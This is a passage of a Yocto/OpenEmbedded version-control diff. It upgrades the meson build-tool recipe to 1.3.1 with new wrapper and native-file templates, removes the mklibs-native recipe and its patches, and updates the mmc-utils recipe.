-- depfixer.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
-- install_name_mappings, verbose=False)
-+ if install_rpath:
-+ depfixer.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
-+ install_name_mappings, verbose=False)
-+ else:
-+ print("RPATH changes at install time disabled")
- except SystemExit as e:
- if isinstance(e.code, int) and e.code == 0:
- pass
diff --git a/meta/recipes-devtools/meson/meson/meson-setup.py b/meta/recipes-devtools/meson/meson/meson-setup.py
index 808e2a062f..daaa551de2 100755
--- a/meta/recipes-devtools/meson/meson/meson-setup.py
+++ b/meta/recipes-devtools/meson/meson/meson-setup.py
@@ -10,9 +10,13 @@ class Template(string.Template):
class Environ():
def __getitem__(self, name):
val = os.environ[name]
- val = ["'%s'" % x for x in val.split()]
- val = ', '.join(val)
- val = '[%s]' % val
+ val = val.split()
+ if len(val) > 1:
+ val = ["'%s'" % x for x in val]
+ val = ', '.join(val)
+ val = '[%s]' % val
+ elif val:
+ val = "'%s'" % val.pop()
return val
try:
@@ -23,9 +27,17 @@ except KeyError:
template_file = os.path.join(sysroot, 'usr/share/meson/meson.cross.template')
cross_file = os.path.join(sysroot, 'usr/share/meson/%smeson.cross' % os.environ["TARGET_PREFIX"])
+native_template_file = os.path.join(sysroot, 'usr/share/meson/meson.native.template')
+native_file = os.path.join(sysroot, 'usr/share/meson/meson.native')
with open(template_file) as in_file:
template = in_file.read()
output = Template(template).substitute(Environ())
with open(cross_file, "w") as out_file:
out_file.write(output)
+
+with open(native_template_file) as in_file:
+ template = in_file.read()
+ output = Template(template).substitute({'OECORE_NATIVE_SYSROOT': os.environ['OECORE_NATIVE_SYSROOT']})
+ with open(native_file, "w") as out_file:
+ out_file.write(output)
diff --git a/meta/recipes-devtools/meson/meson/meson-wrapper b/meta/recipes-devtools/meson/meson/meson-wrapper
index d4ffe60f9a..7455985297 100755
--- a/meta/recipes-devtools/meson/meson/meson-wrapper
+++ b/meta/recipes-devtools/meson/meson/meson-wrapper
@@ -1,7 +1,11 @@
#!/bin/sh
if [ -z "$OECORE_NATIVE_SYSROOT" ]; then
- echo "OECORE_NATIVE_SYSROOT not set; are you in a Yocto SDK environment?" >&2
+ exec "meson.real" "$@"
+fi
+
+if [ -z "$SSL_CERT_DIR" ]; then
+ export SSL_CERT_DIR="$OECORE_NATIVE_SYSROOT/etc/ssl/certs/"
fi
# If these are set to a cross-compile path, meson will get confused and try to
@@ -9,6 +13,19 @@ fi
# config is already in meson.cross.
unset CC CXX CPP LD AR NM STRIP
+case "$1" in
+setup|configure|dist|install|introspect|init|test|wrap|subprojects|rewrite|compile|devenv|env2mfile|help) MESON_CMD="$1" ;;
+*) echo meson-wrapper: Implicit setup command assumed; MESON_CMD=setup ;;
+esac
+
+if [ "$MESON_CMD" = "setup" ]; then
+ MESON_SETUP_OPTS=" \
+ --cross-file="$OECORE_NATIVE_SYSROOT/usr/share/meson/${TARGET_PREFIX}meson.cross" \
+ --native-file="$OECORE_NATIVE_SYSROOT/usr/share/meson/meson.native" \
+ "
+ echo meson-wrapper: Running meson with setup options: \"$MESON_SETUP_OPTS\"
+fi
+
exec "$OECORE_NATIVE_SYSROOT/usr/bin/meson.real" \
- --cross-file "${OECORE_NATIVE_SYSROOT}/usr/share/meson/${TARGET_PREFIX}meson.cross" \
- "$@"
+ "$@" \
+ $MESON_SETUP_OPTS
diff --git a/meta/recipes-devtools/meson/meson_0.55.0.bb b/meta/recipes-devtools/meson/meson_0.55.0.bb
deleted file mode 100644
index de9b905c12..0000000000
--- a/meta/recipes-devtools/meson/meson_0.55.0.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-include meson.inc
-
-BBCLASSEXTEND = "native"
-
diff --git a/meta/recipes-devtools/meson/meson_1.3.1.bb b/meta/recipes-devtools/meson/meson_1.3.1.bb
new file mode 100644
index 0000000000..9cc0cc31ab
--- /dev/null
+++ b/meta/recipes-devtools/meson/meson_1.3.1.bb
@@ -0,0 +1,158 @@
+HOMEPAGE = "http://mesonbuild.com"
+SUMMARY = "A high performance build system"
+DESCRIPTION = "Meson is a build system designed to increase programmer \
+productivity. It does this by providing a fast, simple and easy to use \
+interface for modern software development tools and practices."
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+GITHUB_BASE_URI = "https://github.com/mesonbuild/meson/releases/"
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/meson-${PV}.tar.gz \
+ file://meson-setup.py \
+ file://meson-wrapper \
+ file://0001-python-module-do-not-manipulate-the-environment-when.patch \
+ file://0001-Make-CPU-family-warnings-fatal.patch \
+ file://0002-Support-building-allarch-recipes-again.patch \
+ "
+SRC_URI[sha256sum] = "6020568bdede1643d4fb41e28215be38eff5d52da28ac7d125457c59e0032ad7"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)$"
+
+inherit python_setuptools_build_meta github-releases
+
+RDEPENDS:${PN} = "ninja python3-modules python3-pkg-resources"
+
+FILES:${PN} += "${datadir}/polkit-1"
+
+do_install:append () {
+ # As per the same issue in the python recipe itself:
+ # Unfortunately the following pyc files are non-deterministc due to 'frozenset'
+ # being written without strict ordering, even with PYTHONHASHSEED = 0
+ # Upstream is discussing ways to solve the issue properly, until then let's
+ # just not install the problematic files.
+ # More info: http://benno.id.au/blog/2013/01/15/python-determinism
+ rm -f ${D}${libdir}/python*/site-packages/mesonbuild/dependencies/__pycache__/mpi.cpython*
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit meson-routines
+
+# The cross file logic is similar but not identical to that in meson.bbclass,
+# since it's generating for an SDK rather than a cross-compile. Important
+# differences are:
+# - We can't set vars like CC, CXX, etc. yet because they will be filled in with
+# real paths by meson-setup.sh when the SDK is extracted.
+# - Some overrides aren't needed, since the SDK injects paths that take care of
+# them.
+def var_list2str(var, d):
+ items = d.getVar(var).split()
+ return items[0] if len(items) == 1 else ', '.join(repr(s) for s in items)
+
+def generate_native_link_template(d):
+ val = ['-L@{OECORE_NATIVE_SYSROOT}${libdir_native}',
+ '-L@{OECORE_NATIVE_SYSROOT}${base_libdir_native}',
+ '-Wl,-rpath-link,@{OECORE_NATIVE_SYSROOT}${libdir_native}',
+ '-Wl,-rpath-link,@{OECORE_NATIVE_SYSROOT}${base_libdir_native}',
+ '-Wl,--allow-shlib-undefined'
+ ]
+ build_arch = d.getVar('BUILD_ARCH')
+ if 'x86_64' in build_arch:
+ loader = 'ld-linux-x86-64.so.2'
+ elif 'i686' in build_arch:
+ loader = 'ld-linux.so.2'
+ elif 'aarch64' in build_arch:
+ loader = 'ld-linux-aarch64.so.1'
+ elif 'ppc64le' in build_arch:
+ loader = 'ld64.so.2'
+ elif 'loongarch64' in build_arch:
+ loader = 'ld-linux-loongarch-lp64d.so.1'
+ elif 'riscv64' in build_arch:
+ loader = 'ld-linux-riscv64-lp64d.so.1'
+
+ if loader:
+ val += ['-Wl,--dynamic-linker=@{OECORE_NATIVE_SYSROOT}${base_libdir_native}/' + loader]
+
+ return repr(val)
+
+install_templates() {
+ install -d ${D}${datadir}/meson
+
+ cat >${D}${datadir}/meson/meson.native.template <<EOF
+[binaries]
+c = ${@meson_array('BUILD_CC', d)}
+cpp = ${@meson_array('BUILD_CXX', d)}
+ar = ${@meson_array('BUILD_AR', d)}
+nm = ${@meson_array('BUILD_NM', d)}
+strip = ${@meson_array('BUILD_STRIP', d)}
+readelf = ${@meson_array('BUILD_READELF', d)}
+pkgconfig = 'pkg-config-native'
+
+[built-in options]
+c_args = ['-isystem@{OECORE_NATIVE_SYSROOT}${includedir_native}' , ${@var_list2str('BUILD_OPTIMIZATION', d)}]
+c_link_args = ${@generate_native_link_template(d)}
+cpp_args = ['-isystem@{OECORE_NATIVE_SYSROOT}${includedir_native}' , ${@var_list2str('BUILD_OPTIMIZATION', d)}]
+cpp_link_args = ${@generate_native_link_template(d)}
+[properties]
+sys_root = '@OECORE_NATIVE_SYSROOT'
+EOF
+
+ cat >${D}${datadir}/meson/meson.cross.template <<EOF
+[binaries]
+c = @CC
+cpp = @CXX
+ar = @AR
+nm = @NM
+strip = @STRIP
+pkgconfig = 'pkg-config'
+
+[built-in options]
+c_args = @CFLAGS
+c_link_args = @LDFLAGS
+cpp_args = @CPPFLAGS
+cpp_link_args = @LDFLAGS
+
+[properties]
+needs_exe_wrapper = true
+sys_root = @OECORE_TARGET_SYSROOT
+
+[host_machine]
+system = '$host_system'
+cpu_family = '$host_cpu_family'
+cpu = '$host_cpu'
+endian = '$host_endian'
+EOF
+}
+
+do_install:append:class-nativesdk() {
+ host_system=${SDK_OS}
+ host_cpu_family=${@meson_cpu_family("SDK_ARCH", d)}
+ host_cpu=${SDK_ARCH}
+ host_endian=${@meson_endian("SDK", d)}
+ install_templates
+
+ install -d ${D}${SDKPATHNATIVE}/post-relocate-setup.d
+ install -m 0755 ${WORKDIR}/meson-setup.py ${D}${SDKPATHNATIVE}/post-relocate-setup.d/
+
+ # We need to wrap the real meson with a thin env setup wrapper.
+ mv ${D}${bindir}/meson ${D}${bindir}/meson.real
+ install -m 0755 ${WORKDIR}/meson-wrapper ${D}${bindir}/meson
+}
+
+FILES:${PN}:append:class-nativesdk = "${datadir}/meson ${SDKPATHNATIVE}"
+
+do_install:append:class-native() {
+ host_system=${HOST_OS}
+ host_cpu_family=${@meson_cpu_family("HOST_ARCH", d)}
+ host_cpu=${HOST_ARCH}
+ host_endian=${@meson_endian("HOST", d)}
+ install_templates
+
+ install -d ${D}${datadir}/post-relocate-setup.d
+ install -m 0755 ${WORKDIR}/meson-setup.py ${D}${datadir}/post-relocate-setup.d/
+
+ # We need to wrap the real meson with a thin wrapper that substitues native/cross files
+ # when running in a direct SDK environment.
+ mv ${D}${bindir}/meson ${D}${bindir}/meson.real
+ install -m 0755 ${WORKDIR}/meson-wrapper ${D}${bindir}/meson
+}
diff --git a/meta/recipes-devtools/meson/nativesdk-meson_0.55.0.bb b/meta/recipes-devtools/meson/nativesdk-meson_0.55.0.bb
deleted file mode 100644
index 67add2c25e..0000000000
--- a/meta/recipes-devtools/meson/nativesdk-meson_0.55.0.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-include meson.inc
-
-inherit nativesdk
-inherit siteinfo
-
-SRC_URI += "file://meson-setup.py \
- file://meson-wrapper"
-
-def meson_endian(prefix, d):
- arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
- sitedata = siteinfo_data_for_machine(arch, os, d)
- if "endian-little" in sitedata:
- return "little"
- elif "endian-big" in sitedata:
- return "big"
- else:
- bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
-
-# The cross file logic is similar but not identical to that in meson.bbclass,
-# since it's generating for an SDK rather than a cross-compile. Important
-# differences are:
-# - We can't set vars like CC, CXX, etc. yet because they will be filled in with
-# real paths by meson-setup.sh when the SDK is extracted.
-# - Some overrides aren't needed, since the SDK injects paths that take care of
-# them.
-do_install_append() {
- install -d ${D}${datadir}/meson
- cat >${D}${datadir}/meson/meson.cross.template <<EOF
-[binaries]
-c = @CC
-cpp = @CXX
-ar = @AR
-nm = @NM
-strip = @STRIP
-pkgconfig = 'pkg-config'
-
-[properties]
-needs_exe_wrapper = true
-c_args = @CFLAGS
-c_link_args = @LDFLAGS
-cpp_args = @CPPFLAGS
-cpp_link_args = @LDFLAGS
-
-[host_machine]
-system = '${SDK_OS}'
-cpu_family = '${SDK_ARCH}'
-cpu = '${SDK_ARCH}'
-endian = '${@meson_endian("SDK", d)}'
-EOF
-
- install -d ${D}${SDKPATHNATIVE}/post-relocate-setup.d
- install -m 0755 ${WORKDIR}/meson-setup.py ${D}${SDKPATHNATIVE}/post-relocate-setup.d/
-
- # We need to wrap the real meson with a thin env setup wrapper.
- mv ${D}${bindir}/meson ${D}${bindir}/meson.real
- install -m 0755 ${WORKDIR}/meson-wrapper ${D}${bindir}/meson
-}
-
-RDEPENDS_${PN} += "\
- nativesdk-ninja \
- nativesdk-python3 \
- nativesdk-python3-setuptools \
- "
-
-FILES_${PN} += "${datadir}/meson ${SDKPATHNATIVE}"
diff --git a/meta/recipes-devtools/mklibs/files/ac_init_fix.patch b/meta/recipes-devtools/mklibs/files/ac_init_fix.patch
deleted file mode 100644
index 422af10420..0000000000
--- a/meta/recipes-devtools/mklibs/files/ac_init_fix.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Get the version of mklibs by simpler means. The MKLIBS_VERSION string in the
-configure.ac file is replaced with real version string by the
-do_configure_prepend() function from the recipe .bb file.
-
-Upstream-Status: Inappropriate [configuration]
-
-Nitin A Kamble <nitin.a.kamble@intel.com>
-Date: 2011/01/24
-
-Index: mklibs/configure.ac
-===================================================================
---- mklibs.orig/configure.ac 2010-02-21 17:34:56.000000000 -0800
-+++ mklibs/configure.ac 2011-01-24 18:52:19.943242079 -0800
-@@ -1,4 +1,4 @@
--AC_INIT([mklibs],m4_esyscmd(dpkg-parsechangelog | perl -ne 'print $1 if m/^Version: (.*)$/;'))
-+AC_INIT([mklibs], MKLIBS_VERSION)
- AM_INIT_AUTOMAKE([foreign no-define])
- AC_CONFIG_HEADERS([config.h])
- AM_MAINTAINER_MODE
diff --git a/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch b/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch
deleted file mode 100644
index 17d9af4de4..0000000000
--- a/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-From dcb45256970b15b672d0004533826c94083356e5 Mon Sep 17 00:00:00 2001
-From: Yuanjie Huang <yuanjie.huang@windriver.com>
-Date: Fri, 17 Apr 2015 14:48:20 +0800
-Subject: [PATCH 4/6] avoid failure on symbol provided by application
-
-Upstream-Status: Pending
-
-Undefined symbols in a library can be provided by the application
-that links to the library, such as `logsink' in libmultipath.so.0.
-This fix checks the type of object in which the symbol is needed
-and the existence of the symbol in application, when a symbol
-cannot be provided by libraries. It prevents false alarm on absence
-of symbols.
-
-Signed-off-by: Yuanjie Huang <yuanjie.huang@windriver.com>
-
----
- src/mklibs | 28 ++++++++++++++++++++++++----
- 1 file changed, 24 insertions(+), 4 deletions(-)
-
-diff --git a/src/mklibs b/src/mklibs
-index a3533c0..66b7a09 100755
---- a/src/mklibs
-+++ b/src/mklibs
-@@ -133,9 +133,9 @@ class Symbol(object):
- return '@'.join(ret)
-
- class UndefinedSymbol(Symbol):
-- def __init__(self, name, weak, version, library):
-+ def __init__(self, name, weak, version, library, object):
- super(UndefinedSymbol, self).__init__(name, version, library)
-- self.weak, self.library = weak, library
-+ self.weak, self.library, self.object = weak, library, object
-
- def symbol_is_blacklisted(name):
- # The ARM Embedded ABI spec states symbols under this namespace as
-@@ -152,6 +152,11 @@ def undefined_symbols(obj):
-
- output = command("mklibs-readelf", "--print-symbols-undefined", obj)
-
-+ if len(obj) > len(dest_path) and obj[:len(dest_path)] == dest_path:
-+ object = obj[len(dest_path) + 1:-len('-so-stripped')]
-+ else:
-+ object = obj
-+
- result = []
- for line in output:
- name, weak_string, version_string, library_string = line.split()[:4]
-@@ -171,7 +176,7 @@ def undefined_symbols(obj):
- if library_string.lower() != 'none':
- library = library_string
-
-- result.append(UndefinedSymbol(name, weak, version, library))
-+ result.append(UndefinedSymbol(name, weak, version, library, object))
-
- return result
-
-@@ -498,12 +503,13 @@ while 1:
- and re.search("^ps_", str(symbol)))
- and not (re.search("ld-linux.so.3$", str(symbol)))
- and not (re.search("^__gnu_local_gp", str(symbol)))):
-- debug(DEBUG_SPAM, "needed_symbols adding %s, weak: %s" % (symbol, symbol.weak))
-+ debug(DEBUG_SPAM, "needed_symbols adding %s, weak: %s, for %s" % (symbol, symbol.weak, obj))
- needed_symbols[str(symbol)] = symbol
- libraries.update(library_depends(obj))
-
- # calculate what symbols are present in small_libs and available_libs
- present_symbols = {}
-+ present_symbol_progs = {}
- checked_libs = small_libs
- checked_libs.extend(available_libs)
- checked_libs.append(sysroot + ldlib)
-@@ -513,6 +519,12 @@ while 1:
- names = symbol.base_names()
- for name in names:
- present_symbols[name] = symbol
-+ if not so_pattern.match(lib):
-+ debug(DEBUG_SPAM, "present_symbol_progs adding %s, from executable %s" % (' '.join(names), lib))
-+ for name in names:
-+ progs = present_symbol_progs.get(name, set())
-+ progs.add(lib)
-+ present_symbol_progs[name] = progs
-
- # are we finished?
- num_unresolved = 0
-@@ -568,6 +580,14 @@ while 1:
- for name in needed_symbols:
- if not name in symbol_provider:
- if not needed_symbols[name].weak:
-+ # WORKAROUND: Undefined symbols in a library can be provided by the application
-+ # that links to the library. So if the object which requires the symbol is a library
-+ # and some application can provide the symbol, the undefined symbol is skipped.
-+ symbol = needed_symbols[name]
-+ if so_pattern.match(symbol.object) and present_symbol_progs.get(name, None):
-+ debug(DEBUG_SPAM, "symbol %s in library %s is provided by executable %s" \
-+ % (name, symbol.object, ' '.join(present_symbol_progs[name])))
-+ continue
- raise Exception("No library provides non-weak %s" % name)
- else:
- lib = symbol_provider[name]
---
-2.16.1
-
diff --git a/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch b/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch
deleted file mode 100644
index d27a48916d..0000000000
--- a/meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-The libc6-dev in Ubuntu 9.04 is so old that the elf.h doesn't
-define STT_GNU_IFUNC, so we have to define it ourselves.
-
-Upstream-Status: Inappropriate [other] - old release specific, maybe removable
-
--- Dexuan Cui (dexuan.cui@intel.com) Feb 16, 2011.
-
-diff --git a/src/mklibs-readelf/main.cpp b/src/mklibs-readelf/main.cpp
-index 2444c39..56d93f8 100644
---- a/src/mklibs-readelf/main.cpp
-+++ b/src/mklibs-readelf/main.cpp
-@@ -6,6 +6,14 @@
- #include <vector>
-
- #include <elf.h>
-+/*
-+ * The /usr/include/elf.h in some distributions(like Ubuntu 9.04) doesn't
-+ * define the macro. We need to define it here.
-+ */
-+#ifndef STT_GNU_IFUNC
-+#define STT_GNU_IFUNC 10 /* Symbol is indirect code object */
-+#endif
-+
- #include <getopt.h>
-
- #include "elf.hpp"
diff --git a/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch b/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch
deleted file mode 100644
index 13e4606b80..0000000000
--- a/meta/recipes-devtools/mklibs/files/fix_cross_compile.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-Remove dependency on dpkg
-
-Upstream-Status: Submitted
-
-Asking the host OS whether it supports multiarch is not useful
-in a cross-compilation environment, or if the user has specified
-a libdir explicitly. So this patch, based on the work of Mentor
-Graphics, removes mklibs's dependency on dpkg package.
-
-Signed-off-by: Yuanjie Huang <Yuanjie.Huang@windriver.com>
- src/mklibs | 30 +++++++++++++++++++-----------
- 1 file changed, 19 insertions(+), 11 deletions(-)
-
-diff --git a/src/mklibs b/src/mklibs
-index d9b784b..c5614ea 100755
---- a/src/mklibs
-+++ b/src/mklibs
-@@ -261,6 +261,11 @@ def extract_soname(so_file):
- return ""
-
- def multiarch(paths):
-+ # Asking the host OS whether it supports multiarch is not useful
-+ # in a cross-compilation environment, or if the user has specified
-+ # a libdir explicitly.
-+ if sysroot != "" or libdir != "":
-+ return paths
- devnull = open('/dev/null', 'w')
- dpkg_architecture = subprocess.Popen(
- ['dpkg-architecture', '-qDEB_HOST_MULTIARCH'],
-@@ -340,7 +345,7 @@ lib_path = []
- dest_path = "DEST"
- ldlib = "LDLIB"
- include_default_lib_path = "yes"
--default_lib_path = multiarch(["/lib/", "/usr/lib/", "/usr/X11R6/lib/"])
-+default_lib_path = ["/lib/", "/usr/lib/", "/usr/X11R6/lib/"]
- libc_extras_dir = "/usr/lib/libc_pic"
- libc_extras_dir_default = True
- libdir = "lib"
-@@ -386,7 +391,7 @@ for opt, arg in optlist:
- elif opt == "--libdir":
- libdir = arg
- elif opt in ("--help", "-h"):
-- usage(0)
-+ usage(0)
- sys.exit(0)
- elif opt in ("--version", "-V"):
- version(vers)
-@@ -395,6 +400,7 @@ for opt, arg in optlist:
- print "WARNING: unknown option: " + opt + "\targ: " + arg
-
- if include_default_lib_path == "yes":
-+ default_lib_path = multiarch(default_lib_path)
- lib_path.extend([a.replace("/lib/", "/" + libdir + "/") for a in default_lib_path])
-
- if libc_extras_dir_default:
-@@ -661,16 +669,16 @@ ld_path_name = os.path.dirname(ldlib)
- ld_full_path = "../" + ldlib
- ld_file = find_lib(ld_file_name)
-
--if ld_path_name != "/lib":
-- if os.access(dest_path + "/" + ld_file_name, os.F_OK):
-- os.remove(dest_path + "/" + ld_file_name)
-+#if ld_path_name != "/lib":
-+# if os.access(dest_path + "/" + ld_file_name, os.F_OK):
-+# os.remove(dest_path + "/" + ld_file_name)
-
--if not os.path.exists(dest_path + "/../" + ld_path_name):
-- os.mkdir(dest_path + "/../" + ld_path_name)
-+#if not os.path.exists(dest_path + "/../" + ld_path_name):
-+# os.mkdir(dest_path + "/../" + ld_path_name)
-
--if not os.access(dest_path + "/" + ld_full_path, os.F_OK):
-- debug(DEBUG_NORMAL, "I: stripping and copying dynamic linker to " + ld_full_path)
-+if not os.access(dest_path + "/" + ld_file_name, os.F_OK):
-+ debug(DEBUG_NORMAL, "I: stripping and copying dynamic linker to " + ld_file_name)
- command(target + "objcopy", "--strip-unneeded -R .note -R .comment",
-- ld_file, dest_path + "/" + ld_full_path)
-+ ld_file, dest_path + "/" + ld_file_name)
-
--os.chmod(dest_path + "/" + ld_full_path, 0755)
-+os.chmod(dest_path + "/" + ld_file_name, 0755)
diff --git a/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch b/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch
deleted file mode 100644
index bc56593e6a..0000000000
--- a/meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From eddf04c7f8312e9c29cdb24e431b7e4fb2cc70ed Mon Sep 17 00:00:00 2001
-From: Yuanjie Huang <yuanjie.huang@windriver.com>
-Date: Wed, 15 Apr 2015 14:00:06 +0800
-Subject: [PATCH] Show GNU unique symbols as provided symbols
-
-Upstream-Status: Submitted
-
-GNU Unique symbol is a GNU extension employed by new version of GCC
-by default. Even Standard C++ library in GCC 4.9 provides some symbols,
-such as _ZNSs4_Rep20_S_empty_rep_storageE in this binding type instead
-of ELF standard weak binding.
-This patch adds support of this new binding type to mklibs-readelf.
-
-Signed-off-by: Yuanjie Huang <yuanjie.huang@windriver.com>
----
- src/mklibs-readelf/main.cpp | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/mklibs-readelf/main.cpp b/src/mklibs-readelf/main.cpp
-index 56d93f8..0134530 100644
---- a/src/mklibs-readelf/main.cpp
-+++ b/src/mklibs-readelf/main.cpp
-@@ -88,7 +88,7 @@ static void process_symbols_provided (const Elf::section_type<Elf::section_type_
- uint8_t type = symbol->get_type ();
- const std::string &name = symbol->get_name_string ();
-
-- if (bind != STB_GLOBAL && bind != STB_WEAK)
-+ if (bind != STB_GLOBAL && bind != STB_WEAK && bind != STB_GNU_UNIQUE)
- continue;
- if (shndx == SHN_UNDEF || shndx == SHN_ABS)
- continue;
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch b/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch
deleted file mode 100644
index 75500a029a..0000000000
--- a/meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-In cross builds we will have to respect sysroot
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: mklibs-0.1.39/src/mklibs
-===================================================================
---- mklibs-0.1.39.orig/src/mklibs 2014-03-01 18:25:36.000000000 +0000
-+++ mklibs-0.1.39/src/mklibs 2014-10-19 00:51:46.813534596 +0000
-@@ -495,7 +495,7 @@
- present_symbols = {}
- checked_libs = small_libs
- checked_libs.extend(available_libs)
-- checked_libs.append(ldlib)
-+ checked_libs.append(sysroot + ldlib)
- for lib in checked_libs:
- for symbol in provided_symbols(lib):
- debug(DEBUG_SPAM, "present_symbols adding %s" % symbol)
diff --git a/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb b/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb
deleted file mode 100644
index 1784af1f4c..0000000000
--- a/meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Shared library optimisation tool"
-DESCRIPTION = "mklibs produces cut-down shared libraries that contain only the routines required by a particular set of executables."
-HOMEPAGE = "https://launchpad.net/mklibs"
-SECTION = "devel"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=98d31037b13d896e33890738ef01af64"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20180828T214102Z/pool/main/m/mklibs/mklibs_${PV}.tar.xz \
- file://ac_init_fix.patch\
- file://fix_STT_GNU_IFUNC.patch\
- file://sysrooted-ldso.patch \
- file://avoid-failure-on-symbol-provided-by-application.patch \
- file://show-GNU-unique-symbols-as-provided-symbols.patch \
- file://fix_cross_compile.patch \
-"
-
-SRC_URI[md5sum] = "6b6eeb9b4016c6a7317acc28c89e32cc"
-SRC_URI[sha256sum] = "3af0b6bd35e5b6fc58d8b68827fbae2ff6b7e20dd2b238ccb9b49d84722066c2"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/m/mklibs/"
-
-inherit autotools gettext native
diff --git a/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch b/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch
deleted file mode 100644
index 12707357b2..0000000000
--- a/meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 04fbe6ddb5f1e02efbcae3cdf5beb16757a98948 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 10 May 2019 12:58:01 -0700
-Subject: [PATCH] mmc_cmd.c: Use extra braces when initializing subobjects
-
-clang warns with -Werror,-Wmissing-braces, as following error
-| mmc_cmds.c:1886:36: error: suggest braces around initialization of subobject [-Werror,-W
-missing-braces]
-| struct rpmb_frame frame_status = {0};
-| ^
-| {}
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- mmc_cmds.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/mmc_cmds.c b/mmc_cmds.c
-index 19a9da1..838e8c3 100644
---- a/mmc_cmds.c
-+++ b/mmc_cmds.c
-@@ -1883,7 +1883,7 @@ static int do_rpmb_op(int fd,
- u_int16_t rpmb_type;
- struct mmc_ioc_multi_cmd *mioc;
- struct mmc_ioc_cmd *ioc;
-- struct rpmb_frame frame_status = {0};
-+ struct rpmb_frame frame_status = {{0}};
-
- if (!frame_in || !frame_out || !out_cnt)
- return -EINVAL;
diff --git a/meta/recipes-devtools/mmc/mmc-utils_git.bb b/meta/recipes-devtools/mmc/mmc-utils_git.bb
index 5fd1c5c0cd..a7e4d369ff 100644
--- a/meta/recipes-devtools/mmc/mmc-utils_git.bb
+++ b/meta/recipes-devtools/mmc/mmc-utils_git.bb
@@ -1,23 +1,22 @@
SUMMARY = "Userspace tools for MMC/SD devices"
HOMEPAGE = "http://git.kernel.org/cgit/linux/kernel/git/cjb/mmc-utils.git/"
-LICENSE = "GPLv2"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://mmc.c;beginline=1;endline=20;md5=fae32792e20f4d27ade1c5a762d16b7d"
SRCBRANCH ?= "master"
-SRCREV = "73d6c59af8d1bcedf5de4aa1f5d5b7f765f545f5"
+SRCREV = "b5ca140312d279ad2f22068fd72a6230eea13436"
-PV = "0.1+git${SRCPV}"
+PV = "0.1+git"
-SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/cjb/mmc-utils.git;branch=${SRCBRANCH} \
- file://0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch \
- "
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/cjb/mmc-utils.git;branch=${SRCBRANCH};protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
-CFLAGS_append_powerpc64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-CFLAGS_append_mipsarchn32 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn32 = " -D__SANE_USERSPACE_TYPES__"
do_install() {
install -d ${D}${bindir}
diff --git a/meta/recipes-devtools/mtd/mtd-utils/add-exclusion-to-mkfs-jffs2-git-2.patch b/meta/recipes-devtools/mtd/mtd-utils/add-exclusion-to-mkfs-jffs2-git-2.patch
deleted file mode 100644
index 5d874d9810..0000000000
--- a/meta/recipes-devtools/mtd/mtd-utils/add-exclusion-to-mkfs-jffs2-git-2.patch
+++ /dev/null
